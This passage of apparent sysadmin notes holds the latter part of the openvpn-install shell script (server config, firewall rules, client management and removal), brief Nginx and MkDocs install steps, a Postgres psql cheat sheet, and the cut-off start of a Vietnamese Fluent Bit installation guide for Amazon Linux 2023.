		echo "proto ${PROTOCOL}6" >>/etc/openvpn/server.conf
	fi

	echo "dev tun
user nobody
group $NOGROUP
persist-key
persist-tun
keepalive 10 120
topology subnet
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt" >>/etc/openvpn/server.conf

	# DNS resolvers
	case $DNS in
	1) # Current system resolvers
		# Locate the proper resolv.conf
		# Needed for systems running systemd-resolved
		if grep -q "127.0.0.53" "/etc/resolv.conf"; then
			RESOLVCONF='/run/systemd/resolve/resolv.conf'
		else
			RESOLVCONF='/etc/resolv.conf'
		fi
		# Obtain the resolvers from resolv.conf and use them for OpenVPN
		sed -ne 's/^nameserver[[:space:]]\+\([^[:space:]]\+\).*$/\1/p' $RESOLVCONF | while read -r line; do
			# Copy, if it's a IPv4 |or| if IPv6 is enabled, IPv4/IPv6 does not matter
			if [[ $line =~ ^[0-9.]*$ ]] || [[ $IPV6_SUPPORT == 'y' ]]; then
				echo "push \"dhcp-option DNS $line\"" >>/etc/openvpn/server.conf
			fi
		done
		;;
	2) # Self-hosted DNS resolver (Unbound)
		echo 'push "dhcp-option DNS 10.8.0.1"' >>/etc/openvpn/server.conf
		if [[ $IPV6_SUPPORT == 'y' ]]; then
			echo 'push "dhcp-option DNS fd42:42:42:42::1"' >>/etc/openvpn/server.conf
		fi
		;;
	3) # Cloudflare
		echo 'push "dhcp-option DNS 1.0.0.1"' >>/etc/openvpn/server.conf
		echo 'push "dhcp-option DNS 1.1.1.1"' >>/etc/openvpn/server.conf
		;;
	4) # Quad9
		echo 'push "dhcp-option DNS 9.9.9.9"' >>/etc/openvpn/server.conf
		echo 'push "dhcp-option DNS 149.112.112.112"' >>/etc/openvpn/server.conf
		;;
	5) # Quad9 uncensored
		echo 'push "dhcp-option DNS 9.9.9.10"' >>/etc/openvpn/server.conf
		echo 'push "dhcp-option DNS 149.112.112.10"' >>/etc/openvpn/server.conf
		;;
	6) # FDN
		echo 'push "dhcp-option DNS 80.67.169.40"' >>/etc/openvpn/server.conf
		echo 'push "dhcp-option DNS 80.67.169.12"' >>/etc/openvpn/server.conf
		;;
	7) # DNS.WATCH
		echo 'push "dhcp-option DNS 84.200.69.80"' >>/etc/openvpn/server.conf
		echo 'push "dhcp-option DNS 84.200.70.40"' >>/etc/openvpn/server.conf
		;;
	8) # OpenDNS
		echo 'push "dhcp-option DNS 208.67.222.222"' >>/etc/openvpn/server.conf
		echo 'push "dhcp-option DNS 208.67.220.220"' >>/etc/openvpn/server.conf
		;;
	9) # Google
		echo 'push "dhcp-option DNS 8.8.8.8"' >>/etc/openvpn/server.conf
		echo 'push "dhcp-option DNS 8.8.4.4"' >>/etc/openvpn/server.conf
		;;
	10) # Yandex Basic
		echo 'push "dhcp-option DNS 77.88.8.8"' >>/etc/openvpn/server.conf
		echo 'push "dhcp-option DNS 77.88.8.1"' >>/etc/openvpn/server.conf
		;;
	11) # AdGuard DNS
		echo 'push "dhcp-option DNS 94.140.14.14"' >>/etc/openvpn/server.conf
		echo 'push "dhcp-option DNS 94.140.15.15"' >>/etc/openvpn/server.conf
		;;
	12) # NextDNS
		echo 'push "dhcp-option DNS 45.90.28.167"' >>/etc/openvpn/server.conf
		echo 'push "dhcp-option DNS 45.90.30.167"' >>/etc/openvpn/server.conf
		;;
	13) # Custom DNS
		echo "push \"dhcp-option DNS $DNS1\"" >>/etc/openvpn/server.conf
		if [[ $DNS2 != "" ]]; then
			echo "push \"dhcp-option DNS $DNS2\"" >>/etc/openvpn/server.conf
		fi
		;;
	esac
	echo 'push "redirect-gateway def1 bypass-dhcp"' >>/etc/openvpn/server.conf

	# IPv6 network settings if needed
	if [[ $IPV6_SUPPORT == 'y' ]]; then
		echo 'server-ipv6 fd42:42:42:42::/112
tun-ipv6
push tun-ipv6
push "route-ipv6 2000::/3"
push "redirect-gateway ipv6"' >>/etc/openvpn/server.conf
	fi

	if [[ $COMPRESSION_ENABLED == "y" ]]; then
		echo "compress $COMPRESSION_ALG" >>/etc/openvpn/server.conf
	fi

	if [[ $DH_TYPE == "1" ]]; then
		echo "dh none" >>/etc/openvpn/server.conf
		echo "ecdh-curve $DH_CURVE" >>/etc/openvpn/server.conf
	elif [[ $DH_TYPE == "2" ]]; then
		echo "dh dh.pem" >>/etc/openvpn/server.conf
	fi

	case $TLS_SIG in
	1)
		echo "tls-crypt tls-crypt.key" >>/etc/openvpn/server.conf
		;;
	2)
		echo "tls-auth tls-auth.key 0" >>/etc/openvpn/server.conf
		;;
	esac

	echo "crl-verify crl.pem
ca ca.crt
cert $SERVER_NAME.crt
key $SERVER_NAME.key
auth $HMAC_ALG
cipher $CIPHER
ncp-ciphers $CIPHER
tls-server
tls-version-min 1.2
tls-cipher $CC_CIPHER
client-config-dir /etc/openvpn/ccd
status /var/log/openvpn/status.log
verb 3" >>/etc/openvpn/server.conf

	# Create client-config-dir dir
	mkdir -p /etc/openvpn/ccd
	# Create log dir
	mkdir -p /var/log/openvpn

	# Enable routing
	echo 'net.ipv4.ip_forward=1' >/etc/sysctl.d/99-openvpn.conf
	if [[ $IPV6_SUPPORT == 'y' ]]; then
		echo 'net.ipv6.conf.all.forwarding=1' >>/etc/sysctl.d/99-openvpn.conf
	fi
	# Apply sysctl rules
	sysctl --system

	# If SELinux is enabled and a custom port was selected, we need this
	if hash sestatus 2>/dev/null; then
		if sestatus | grep "Current mode" | grep -qs "enforcing"; then
			if [[ $PORT != '1194' ]]; then
				semanage port -a -t openvpn_port_t -p "$PROTOCOL" "$PORT"
			fi
		fi
	fi

	# Finally, restart and enable OpenVPN
	if [[ $OS == 'arch' || $OS == 'fedora' || $OS == 'centos' || $OS == 'oracle' ]]; then
		# Don't modify package-provided service
		cp /usr/lib/systemd/system/openvpn-server@.service /etc/systemd/system/openvpn-server@.service

		# Workaround to fix OpenVPN service on OpenVZ
		sed -i 's|LimitNPROC|#LimitNPROC|' /etc/systemd/system/openvpn-server@.service
		# Another workaround to keep using /etc/openvpn/
		sed -i 's|/etc/openvpn/server|/etc/openvpn|' /etc/systemd/system/openvpn-server@.service

		systemctl daemon-reload
		systemctl enable openvpn-server@server
		systemctl restart openvpn-server@server
	elif [[ $OS == "ubuntu" ]] && [[ $VERSION_ID == "16.04" ]]; then
		# On Ubuntu 16.04, we use the package from the OpenVPN repo
		# This package uses a sysvinit service
		systemctl enable openvpn
		systemctl start openvpn
	else
		# Don't modify package-provided service
		cp /lib/systemd/system/openvpn\@.service /etc/systemd/system/openvpn\@.service

		# Workaround to fix OpenVPN service on OpenVZ
		sed -i 's|LimitNPROC|#LimitNPROC|' /etc/systemd/system/openvpn\@.service
		# Another workaround to keep using /etc/openvpn/
		sed -i 's|/etc/openvpn/server|/etc/openvpn|' /etc/systemd/system/openvpn\@.service

		systemctl daemon-reload
		systemctl enable openvpn@server
		systemctl restart openvpn@server
	fi

	if [[ $DNS == 2 ]]; then
		installUnbound
	fi

	# Add iptables rules in two scripts
	mkdir -p /etc/iptables

	# Script to add rules
	echo "#!/bin/sh
iptables -t nat -I POSTROUTING 1 -s 10.8.0.0/24 -o $NIC -j MASQUERADE
iptables -I INPUT 1 -i tun0 -j ACCEPT
iptables -I FORWARD 1 -i $NIC -o tun0 -j ACCEPT
iptables -I FORWARD 1 -i tun0 -o $NIC -j ACCEPT
iptables -I INPUT 1 -i $NIC -p $PROTOCOL --dport $PORT -j ACCEPT" >/etc/iptables/add-openvpn-rules.sh

	if [[ $IPV6_SUPPORT == 'y' ]]; then
		echo "ip6tables -t nat -I POSTROUTING 1 -s fd42:42:42:42::/112 -o $NIC -j MASQUERADE
ip6tables -I INPUT 1 -i tun0 -j ACCEPT
ip6tables -I FORWARD 1 -i $NIC -o tun0 -j ACCEPT
ip6tables -I FORWARD 1 -i tun0 -o $NIC -j ACCEPT
ip6tables -I INPUT 1 -i $NIC -p $PROTOCOL --dport $PORT -j ACCEPT" >>/etc/iptables/add-openvpn-rules.sh
	fi

	# Script to remove rules
	echo "#!/bin/sh
iptables -t nat -D POSTROUTING -s 10.8.0.0/24 -o $NIC -j MASQUERADE
iptables -D INPUT -i tun0 -j ACCEPT
iptables -D FORWARD -i $NIC -o tun0 -j ACCEPT
iptables -D FORWARD -i tun0 -o $NIC -j ACCEPT
iptables -D INPUT -i $NIC -p $PROTOCOL --dport $PORT -j ACCEPT" >/etc/iptables/rm-openvpn-rules.sh

	if [[ $IPV6_SUPPORT == 'y' ]]; then
		echo "ip6tables -t nat -D POSTROUTING -s fd42:42:42:42::/112 -o $NIC -j MASQUERADE
ip6tables -D INPUT -i tun0 -j ACCEPT
ip6tables -D FORWARD -i $NIC -o tun0 -j ACCEPT
ip6tables -D FORWARD -i tun0 -o $NIC -j ACCEPT
ip6tables -D INPUT -i $NIC -p $PROTOCOL --dport $PORT -j ACCEPT" >>/etc/iptables/rm-openvpn-rules.sh
	fi

	chmod +x /etc/iptables/add-openvpn-rules.sh
	chmod +x /etc/iptables/rm-openvpn-rules.sh

	# Handle the rules via a systemd script
	echo "[Unit]
Description=iptables rules for OpenVPN
Before=network-online.target
Wants=network-online.target

[Service]
Type=oneshot
ExecStart=/etc/iptables/add-openvpn-rules.sh
ExecStop=/etc/iptables/rm-openvpn-rules.sh
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target" >/etc/systemd/system/iptables-openvpn.service

	# Enable service and apply rules
	systemctl daemon-reload
	systemctl enable iptables-openvpn
	systemctl start iptables-openvpn

	# If the server is behind a NAT, use the correct IP address for the clients to connect to
	if [[ $ENDPOINT != "" ]]; then
		IP=$ENDPOINT
	fi

	# client-template.txt is created so we have a template to add further users later
	echo "client" >/etc/openvpn/client-template.txt
	if [[ $PROTOCOL == 'udp' ]]; then
		echo "proto udp" >>/etc/openvpn/client-template.txt
		echo "explicit-exit-notify" >>/etc/openvpn/client-template.txt
	elif [[ $PROTOCOL == 'tcp' ]]; then
		echo "proto tcp-client" >>/etc/openvpn/client-template.txt
	fi
	echo "remote $IP $PORT
dev tun
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
verify-x509-name $SERVER_NAME name
auth $HMAC_ALG
auth-nocache
cipher $CIPHER
tls-client
tls-version-min 1.2
tls-cipher $CC_CIPHER
ignore-unknown-option block-outside-dns
setenv opt block-outside-dns # Prevent Windows 10 DNS leak
verb 3" >>/etc/openvpn/client-template.txt

	if [[ $COMPRESSION_ENABLED == "y" ]]; then
		echo "compress $COMPRESSION_ALG" >>/etc/openvpn/client-template.txt
	fi

	# Generate the custom client.ovpn
	newClient
	echo "If you want to add more clients, you simply need to run this script another time!"
}

function newClient() {
	echo ""
	echo "Tell me a name for the client."
	echo "The name must consist of alphanumeric character. It may also include an underscore or a dash."

	until [[ $CLIENT =~ ^[a-zA-Z0-9_-]+$ ]]; do
		read -rp "Client name: " -e CLIENT
	done

	echo ""
	echo "Do you want to protect the configuration file with a password?"
	echo "(e.g. encrypt the private key with a password)"
	echo "   1) Add a passwordless client"
	echo "   2) Use a password for the client"

	until [[ $PASS =~ ^[1-2]$ ]]; do
		read -rp "Select an option [1-2]: " -e -i 1 PASS
	done

	CLIENTEXISTS=$(tail -n +2 /etc/openvpn/easy-rsa/pki/index.txt | grep -c -E "/CN=$CLIENT\$")
	if [[ $CLIENTEXISTS == '1' ]]; then
		echo ""
		echo "The specified client CN was already found in easy-rsa, please choose another name."
		exit
	else
		cd /etc/openvpn/easy-rsa/ || return
		case $PASS in
		1)
			./easyrsa --batch build-client-full "$CLIENT" nopass
			;;
		2)
			echo "⚠️ You will be asked for the client password below ⚠️"
			./easyrsa --batch build-client-full "$CLIENT"
			;;
		esac
		echo "Client $CLIENT added."
	fi

	# Home directory of the user, where the client configuration will be written
	if [ -e "/home/${CLIENT}" ]; then
		# if $1 is a user name
		homeDir="/home/${CLIENT}"
	elif [ "${SUDO_USER}" ]; then
		# if not, use SUDO_USER
		if [ "${SUDO_USER}" == "root" ]; then
			# If running sudo as root
			homeDir="/root"
		else
			homeDir="/home/${SUDO_USER}"
		fi
	else
		# if not SUDO_USER, use /root
		homeDir="/root"
	fi

	# Determine if we use tls-auth or tls-crypt
	if grep -qs "^tls-crypt" /etc/openvpn/server.conf; then
		TLS_SIG="1"
	elif grep -qs "^tls-auth" /etc/openvpn/server.conf; then
		TLS_SIG="2"
	fi

	# Generates the custom client.ovpn
	cp /etc/openvpn/client-template.txt "$homeDir/$CLIENT.ovpn"
	{
		echo "<ca>"
		cat "/etc/openvpn/easy-rsa/pki/ca.crt"
		echo "</ca>"

		echo "<cert>"
		awk '/BEGIN/,/END CERTIFICATE/' "/etc/openvpn/easy-rsa/pki/issued/$CLIENT.crt"
		echo "</cert>"

		echo "<key>"
		cat "/etc/openvpn/easy-rsa/pki/private/$CLIENT.key"
		echo "</key>"

		case $TLS_SIG in
		1)
			echo "<tls-crypt>"
			cat /etc/openvpn/tls-crypt.key
			echo "</tls-crypt>"
			;;
		2)
			echo "key-direction 1"
			echo "<tls-auth>"
			cat /etc/openvpn/tls-auth.key
			echo "</tls-auth>"
			;;
		esac
	} >>"$homeDir/$CLIENT.ovpn"

	echo ""
	echo "The configuration file has been written to $homeDir/$CLIENT.ovpn."
	echo "Download the .ovpn file and import it in your OpenVPN client."

	exit 0
}

function revokeClient() {
	NUMBEROFCLIENTS=$(tail -n +2 /etc/openvpn/easy-rsa/pki/index.txt | grep -c "^V")
	if [[ $NUMBEROFCLIENTS == '0' ]]; then
		echo ""
		echo "You have no existing clients!"
		exit 1
	fi

	echo ""
	echo "Select the existing client certificate you want to revoke"
	tail -n +2 /etc/openvpn/easy-rsa/pki/index.txt | grep "^V" | cut -d '=' -f 2 | nl -s ') '
	until [[ $CLIENTNUMBER -ge 1 && $CLIENTNUMBER -le $NUMBEROFCLIENTS ]]; do
		if [[ $CLIENTNUMBER == '1' ]]; then
			read -rp "Select one client [1]: " CLIENTNUMBER
		else
			read -rp "Select one client [1-$NUMBEROFCLIENTS]: " CLIENTNUMBER
		fi
	done
	CLIENT=$(tail -n +2 /etc/openvpn/easy-rsa/pki/index.txt | grep "^V" | cut -d '=' -f 2 | sed -n "$CLIENTNUMBER"p)
	cd /etc/openvpn/easy-rsa/ || return
	./easyrsa --batch revoke "$CLIENT"
	EASYRSA_CRL_DAYS=3650 ./easyrsa gen-crl
	rm -f /etc/openvpn/crl.pem
	cp /etc/openvpn/easy-rsa/pki/crl.pem /etc/openvpn/crl.pem
	chmod 644 /etc/openvpn/crl.pem
	find /home/ -maxdepth 2 -name "$CLIENT.ovpn" -delete
	rm -f "/root/$CLIENT.ovpn"
	sed -i "/^$CLIENT,.*/d" /etc/openvpn/ipp.txt
	cp /etc/openvpn/easy-rsa/pki/index.txt{,.bk}

	echo ""
	echo "Certificate for client $CLIENT revoked."
}

function removeUnbound() {
	# Remove OpenVPN-related config
	sed -i '/include: \/etc\/unbound\/openvpn.conf/d' /etc/unbound/unbound.conf
	rm /etc/unbound/openvpn.conf

	until [[ $REMOVE_UNBOUND =~ (y|n) ]]; do
		echo ""
		echo "If you were already using Unbound before installing OpenVPN, I removed the configuration related to OpenVPN."
		read -rp "Do you want to completely remove Unbound? [y/n]: " -e REMOVE_UNBOUND
	done

	if [[ $REMOVE_UNBOUND == 'y' ]]; then
		# Stop Unbound
		systemctl stop unbound

		if [[ $OS =~ (debian|ubuntu) ]]; then
			apt-get remove --purge -y unbound
		elif [[ $OS == 'arch' ]]; then
			pacman --noconfirm -R unbound
		elif [[ $OS =~ (centos|amzn|oracle) ]]; then
			yum remove -y unbound
		elif [[ $OS == 'fedora' ]]; then
			dnf remove -y unbound
		fi

		rm -rf /etc/unbound/

		echo ""
		echo "Unbound removed!"
	else
		systemctl restart unbound
		echo ""
		echo "Unbound wasn't removed."
	fi
}

function removeOpenVPN() {
	echo ""
	read -rp "Do you really want to remove OpenVPN? [y/n]: " -e -i n REMOVE
	if [[ $REMOVE == 'y' ]]; then
		# Get OpenVPN port from the configuration
		PORT=$(grep '^port ' /etc/openvpn/server.conf | cut -d " " -f 2)
		PROTOCOL=$(grep '^proto ' /etc/openvpn/server.conf | cut -d " " -f 2)

		# Stop OpenVPN
		if [[ $OS =~ (fedora|arch|centos|oracle) ]]; then
			systemctl disable openvpn-server@server
			systemctl stop openvpn-server@server
			# Remove customised service
			rm /etc/systemd/system/openvpn-server@.service
		elif [[ $OS == "ubuntu" ]] && [[ $VERSION_ID == "16.04" ]]; then
			systemctl disable openvpn
			systemctl stop openvpn
		else
			systemctl disable openvpn@server
			systemctl stop openvpn@server
			# Remove customised service
			rm /etc/systemd/system/openvpn\@.service
		fi

		# Remove the iptables rules related to the script
		systemctl stop iptables-openvpn
		# Cleanup
		systemctl disable iptables-openvpn
		rm /etc/systemd/system/iptables-openvpn.service
		systemctl daemon-reload
		rm /etc/iptables/add-openvpn-rules.sh
		rm /etc/iptables/rm-openvpn-rules.sh

		# SELinux
		if hash sestatus 2>/dev/null; then
			if sestatus | grep "Current mode" | grep -qs "enforcing"; then
				if [[ $PORT != '1194' ]]; then
					semanage port -d -t openvpn_port_t -p "$PROTOCOL" "$PORT"
				fi
			fi
		fi

		if [[ $OS =~ (debian|ubuntu) ]]; then
			apt-get remove --purge -y openvpn
			if [[ -e /etc/apt/sources.list.d/openvpn.list ]]; then
				rm /etc/apt/sources.list.d/openvpn.list
				apt-get update
			fi
		elif [[ $OS == 'arch' ]]; then
			pacman --noconfirm -R openvpn
		elif [[ $OS =~ (centos|amzn|oracle) ]]; then
			yum remove -y openvpn
		elif [[ $OS == 'fedora' ]]; then
			dnf remove -y openvpn
		fi

		# Cleanup
		find /home/ -maxdepth 2 -name "*.ovpn" -delete
		find /root/ -maxdepth 1 -name "*.ovpn" -delete
		rm -rf /etc/openvpn
		rm -rf /usr/share/doc/openvpn*
		rm -f /etc/sysctl.d/99-openvpn.conf
		rm -rf /var/log/openvpn

		# Unbound
		if [[ -e /etc/unbound/openvpn.conf ]]; then
			removeUnbound
		fi
		echo ""
		echo "OpenVPN removed!"
	else
		echo ""
		echo "Removal aborted!"
	fi
}

function manageMenu() {
	echo "Welcome to OpenVPN-install!"
	echo "The git repository is available at: https://github.com/angristan/openvpn-install"
	echo ""
	echo "It looks like OpenVPN is already installed."
	echo ""
	echo "What do you want to do?"
	echo "   1) Add a new user"
	echo "   2) Revoke existing user"
	echo "   3) Remove OpenVPN"
	echo "   4) Exit"
	until [[ $MENU_OPTION =~ ^[1-4]$ ]]; do
		read -rp "Select an option [1-4]: " MENU_OPTION
	done

	case $MENU_OPTION in
	1)
		newClient
		;;
	2)
		revokeClient
		;;
	3)
		removeOpenVPN
		;;
	4)
		exit 0
		;;
	esac
}

# Check for root, TUN, OS...
initialCheck

# Check if OpenVPN is already installed
if [[ -e /etc/openvpn/server.conf && $AUTO_INSTALL != "y" ]]; then
	manageMenu
else
	installOpenVPN
fi

```

#### 2. Install with script

```
chmod +x openvpn-install.sh
./openvpn-install.sh
```

REF : <https://github.com/angristan/openvpn-install>


# Install Nginx Centos 7 or Docker

**Step 1 — Adding the EPEL Software Repository**

```
sudo yum install epel-release
```

**Step 2 — Installing Nginx**

```
sudo yum install nginx
sudo systemctl start nginx
sudo systemctl status nginx
```

#### Install Nginx with Docker file

```
nginx-proxy:
image: nginx
restart: unless-stopped
ports:
- '80:80'
- '443:443'
volumes:
- /data/services/nginx/conf.d:/etc/nginx/conf.d:ro
- /data/services/letsencrypt:/etc/nginx/ssl:ro
- /etc/localtime:/etc/localtime:ro
```


# Install Mkdocs

**1. Install mkdocs**

Make file `requirements.txt`

```
Babel==2.8.0
click==7.1.1
future==0.18.2
gitdb==4.0.4
GitPython==3.1.1
htmlmin==0.1.12
Jinja2==2.11.2
joblib==0.14.1
jsmin==2.2.2
livereload==2.6.1
lunr==0.5.6
Markdown==3.2.1
MarkupSafe==1.1.1
mkdocs==1.1
mkdocs-awesome-pages-plugin==2.2.1
mkdocs-git-revision-date-localized-plugin==0.5.0
mkdocs-material==5.1.1
mkdocs-material-extensions==1.0b1
mkdocs-minify-plugin==0.3.0
nltk==3.5
Pygments==2.6.1
pymdown-extensions==7.0
pytz==2019.3
PyYAML==5.3.1
regex==2020.4.4
six==1.14.0
smmap==3.0.2
tornado==6.0.4
tqdm==4.45.0
```

```
pip install -r requirements.txt
```

**2. Make a project and build it**

```
mkdocs new auto_doc
cd auto_doc
mkdocs build
```

REF : <https://www.mkdocs.org/>


# Cheat Sheet


# Cheat sheet Postgres

### PSQL

Magic words:

```bash
psql -U postgres
```

Some interesting flags (to see all, use `-h` or `--help` depending on your psql version):

* `-E`: will describe the underlaying queries of the `\` commands (cool for learning!)
* `-l`: psql will list all databases and then exit (useful if the user you connect with doesn't has a default database, like at AWS RDS)

Most `\d` commands support additional param of `__schema__.name__` and accept wildcards like `*.*`

* `\?`: Show help (list of available commands with an explanation)
* `\q`: Quit/Exit
* `\c __database__`: Connect to a database
* `\d __table__`: Show table definition (columns, etc.) including triggers
* `\d+ __table__`: More detailed table definition including description and physical disk size
* `\l`: List databases
* `\dy`: List events
* `\df`: List functions
* `\di`: List indexes
* `\dn`: List schemas
* `\dt *.*`: List tables from all schemas (if `*.*` is omitted will only show SEARCH\_PATH ones)
* `\dT+`: List all data types
* `\dv`: List views
* `\dx`: List all extensions installed
* `\df+ __function__` : Show function SQL code.
* `\x`: Pretty-format query results instead of the not-so-useful ASCII tables
* `\copy (SELECT * FROM __table_name__) TO 'file_path_and_name.csv' WITH CSV`: Export a table as CSV
* `\des+`: List all foreign servers
* `\dE[S+]`: List all foreign tables
* `\! __bash_command__`: execute `__bash_command__` (e.g. `\! ls`)

User Related:

* `\du`: List users
* `\du __username__`: List a username if present.
* `create role __test1__`: Create a role with an existing username.
* `create role __test2__ noinherit login password __passsword__;`: Create a role with username and password.
* `set role __test__;`: Change role for current session to `__test__`.
* `grant __test2__ to __test1__;`: Allow `__test1__` to set its role as `__test2__`.
* `\deu+`: List all user mapping on server

### Configuration

* Service management commands:

```
sudo service postgresql stop
sudo service postgresql start
sudo service postgresql restart
```

* Changing verbosity & querying Postgres log:\
  1\) First edit the config file, set a decent verbosity, save and restart postgres:

```
sudo vim /etc/postgresql/9.3/main/postgresql.conf

# Uncomment/Change inside:
log_min_messages = debug5
log_min_error_statement = debug5
log_min_duration_statement = -1

sudo service postgresql restart
```

2. Now you will get tons of details of every statement, error, and even background tasks like VACUUMs

```
tail -f /var/log/postgresql/postgresql-9.3-main.log
```

3. How to add user who executed a PG statement to log (editing `postgresql.conf`):

```
log_line_prefix = '%t %u %d %a '
```

* Check Extensions enabled in postgres: `SELECT * FROM pg_extension;`
* Show available extensions: `SELECT * FROM pg_available_extension_versions;`

### Create command

There are many `CREATE` choices, like `CREATE DATABASE __database_name__`, `CREATE TABLE __table_name__` ... Parameters differ but can be checked [at the official documentation](https://www.postgresql.org/search/?u=%2Fdocs%2F9.1%2F\&q=CREATE).

### Handy queries

* `SELECT * FROM pg_proc WHERE proname='__procedurename__'`: List procedure/function
* `SELECT * FROM pg_views WHERE viewname='__viewname__';`: List view (including the definition)
* `SELECT pg_size_pretty(pg_total_relation_size('__table_name__'));`: Show DB table space in use
* `SELECT pg_size_pretty(pg_database_size('__database_name__'));`: Show DB space in use
* `show statement_timeout;`: Show current user's statement timeout
* `SELECT * FROM pg_indexes WHERE tablename='__table_name__' AND schemaname='__schema_name__';`: Show table indexes
* Get all indexes from all tables of a schema:

```sql
SELECT
   t.relname AS table_name,
   i.relname AS index_name,
   a.attname AS column_name
FROM
   pg_class t,
   pg_class i,
   pg_index ix,
   pg_attribute a,
    pg_namespace n
WHERE
   t.oid = ix.indrelid
   AND i.oid = ix.indexrelid
   AND a.attrelid = t.oid
   AND a.attnum = ANY(ix.indkey)
   AND t.relnamespace = n.oid
    AND n.nspname = 'kartones'
ORDER BY
   t.relname,
   i.relname
```

* Execution data:
  * Queries being executed at a certain DB:

```sql
SELECT datname, application_name, pid, backend_start, query_start, state_change, state, query 
  FROM pg_stat_activity 
  WHERE datname='__database_name__';
```

* Get all queries from all dbs waiting for data (might be hung):

```sql
SELECT * FROM pg_stat_activity WHERE waiting='t'
```

* Currently running queries with process pid:

```sql
SELECT 
  pg_stat_get_backend_pid(s.backendid) AS procpid, 
  pg_stat_get_backend_activity(s.backendid) AS current_query
FROM (SELECT pg_stat_get_backend_idset() AS backendid) AS s;
```

* Get Connections by Database: `SELECT datname, numbackends FROM pg_stat_database;`

Casting:

* `CAST (column AS type)` or `column::type`
* `'__table_name__'::regclass::oid`: Get oid having a table name

Query analysis:

* `EXPLAIN __query__`: see the query plan for the given query
* `EXPLAIN ANALYZE __query__`: see and execute the query plan for the given query
* `ANALYZE [__table__]`: collect statistics

Generating random data ([source](https://www.citusdata.com/blog/2019/07/17/postgres-tips-for-average-and-power-user/)):

* `INSERT INTO some_table (a_float_value) SELECT random() * 100000 FROM generate_series(1, 1000000) i;`

Get sizes of tables, indexes and full DBs:

```sql
select current_database() as database,
  pg_size_pretty(total_database_size) as total_database_size,
  schema_name,
  table_name,
  pg_size_pretty(total_table_size) as total_table_size,
  pg_size_pretty(table_size) as table_size,
  pg_size_pretty(index_size) as index_size
  from ( select table_name,
          table_schema as schema_name,
          pg_database_size(current_database()) as total_database_size,
          pg_total_relation_size(table_name) as total_table_size,
          pg_relation_size(table_name) as table_size,
          pg_indexes_size(table_name) as index_size
          from information_schema.tables
          where table_schema=current_schema() and table_name like 'table_%'
          order by total_table_size
      ) as sizes;
```

* [COPY command](https://www.postgresql.org/docs/9.2/sql-copy.html): Import/export from CSV to tables:

```sql
COPY table_name [ ( column_name [, ...] ) ]
FROM { 'filename' | STDIN }
[ [ WITH ] ( option [, ...] ) ]

COPY { table_name [ ( column_name [, ...] ) ] | ( query ) }
TO { 'filename' | STDOUT }
[ [ WITH ] ( option [, ...] ) ]
```

* List all grants for a specific user

```sql
SELECT table_catalog, table_schema, table_name, privilege_type
FROM   information_schema.table_privileges
WHERE  grantee = 'user_to_check' ORDER BY table_name;
```

* List all assigned user roles

```sql
SELECT
    r.rolname,
    r.rolsuper,
    r.rolinherit,
    r.rolcreaterole,
    r.rolcreatedb,
    r.rolcanlogin,
    r.rolconnlimit,
    r.rolvaliduntil,
    ARRAY(SELECT b.rolname
      FROM pg_catalog.pg_auth_members m
      JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
      WHERE m.member = r.oid) as memberof, 
    r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
```

* Check permissions in a table:

```sql
SELECT grantee, privilege_type
FROM information_schema.role_table_grants
WHERE table_name='name-of-the-table';
```

* Kill all Connections:

```sql
SELECT pg_terminate_backend(pg_stat_activity.pid)
FROM pg_stat_activity
WHERE datname = current_database() AND pid <> pg_backend_pid();
```

### Keyboard shortcuts

* `CTRL` + `R`: reverse-i-search

### Tools

* `ptop` and `pg_top`: `top` for PG. Available on the APT repository from `apt.postgresql.org`.
* [pg\_activity](https://github.com/julmon/pg_activity): Command line tool for PostgreSQL server activity monitoring.
* [Unix-like reverse search in psql](https://dba.stackexchange.com/questions/63453/is-there-a-psql-equivalent-of-bashs-reverse-search-history):

```bash
$ echo "bind "^R" em-inc-search-prev" > $HOME/.editrc
$ source $HOME/.editrc
```

* Show IP of the DB Instance: `SELECT inet_server_addr();`
* File to save PostgreSQL credentials and permissions (format: `hostname:port:database:username:password`): `chmod 600 ~/.pgpass`
* Collect statistics of a database (useful to improve speed after a Database Upgrade as previous query plans are deleted): `ANALYZE VERBOSE;`
* To obtain the `CREATE TABLE` query of a table, any visual GUI like [pgAdmin](https://www.pgadmin.org/) allows to easily, but else you can use `pg_dump`, e.g.: `pg_dump -t '<schema>.<table>' --schema-only <database>` ([source](https://stackoverflow.com/questions/2593803/how-to-generate-the-create-table-sql-statement-for-an-existing-table-in-postgr))

### Resources & Documentation

* [Postgres Weekly](https://postgresweekly.com/) newsletter: The best way IMHO to keep up to date with PG news
* [100 psql Tips](https://mydbanotebook.org/psql_tips_all.html): Name says all, lots of useful tips!
* [PostgreSQL Exercises](https://pgexercises.com/): An awesome resource to learn to learn SQL, teaching you with simple examples in a great visual way. **Highly recommended**.
* [A Performance Cheat Sheet for PostgreSQL](https://severalnines.com/blog/performance-cheat-sheet-postgresql): Great explanations of `EXPLAIN`, `EXPLAIN ANALYZE`, `VACUUM`, configuration parameters and more. Quite interesting if you need to tune-up a postgres setup.
* [annotated.conf](https://github.com/jberkus/annotated.conf): Annotations of all 269 postgresql.conf settings for PostgreSQL 10.
* `psql -c "\l+" -H -q postgres > out.html`: Generate a html report of your databases (source: [Daniel Westermann](https://twitter.com/westermanndanie/status/1242117182982586372))


# Cài Đặt Fluent Bit Trên Amazon Linux 2023 & Tạo Repository Offline

## 🚀 Hướng Dẫn&#x20;

Fluent Bit là một lightweight log processor rất phổ biến trong các hệ thống logging hiện đại. Với việc Amazon Linux 2023 đã chính thức ra mắt, nhiều hệ thống đang chuyển dịch từ AL2/CentOS sang AL2023, và nhu cầu cài Fluent Bit trên nền tảng này cũng tăng theo.

### 🔗 Repository chính thức cho Amazon Linux 2023

Fluent Bit đã **cung cấp repository chính thức** cho Amazon Linux 2023 tại địa chỉ:

```
https://packages.fluentbit.io/amazonlinux/2023/
```

#### ❗ Lưu ý quan trọng

* **Kiến trúc hỗ trợ**: Repo này hiện **chỉ hỗ trợ kiến trúc `x86_64`**. Nếu bạn dùng kiến trúc `aarch64` (như AWS Graviton), repo này **không hoạt động được**.

***

### 🧰 Cài đặt Fluent Bit trên máy có Internet

#### 1. Tạo file cấu hình repo Fluent Bit

```bash
cat > /etc/yum.repos.d/fluent-bit.repo <<EOF
[fluent-bit]
name=Fluent Bit
baseurl=https://packages.fluentbit.io/amazonlinux/2023/
gpgcheck=1
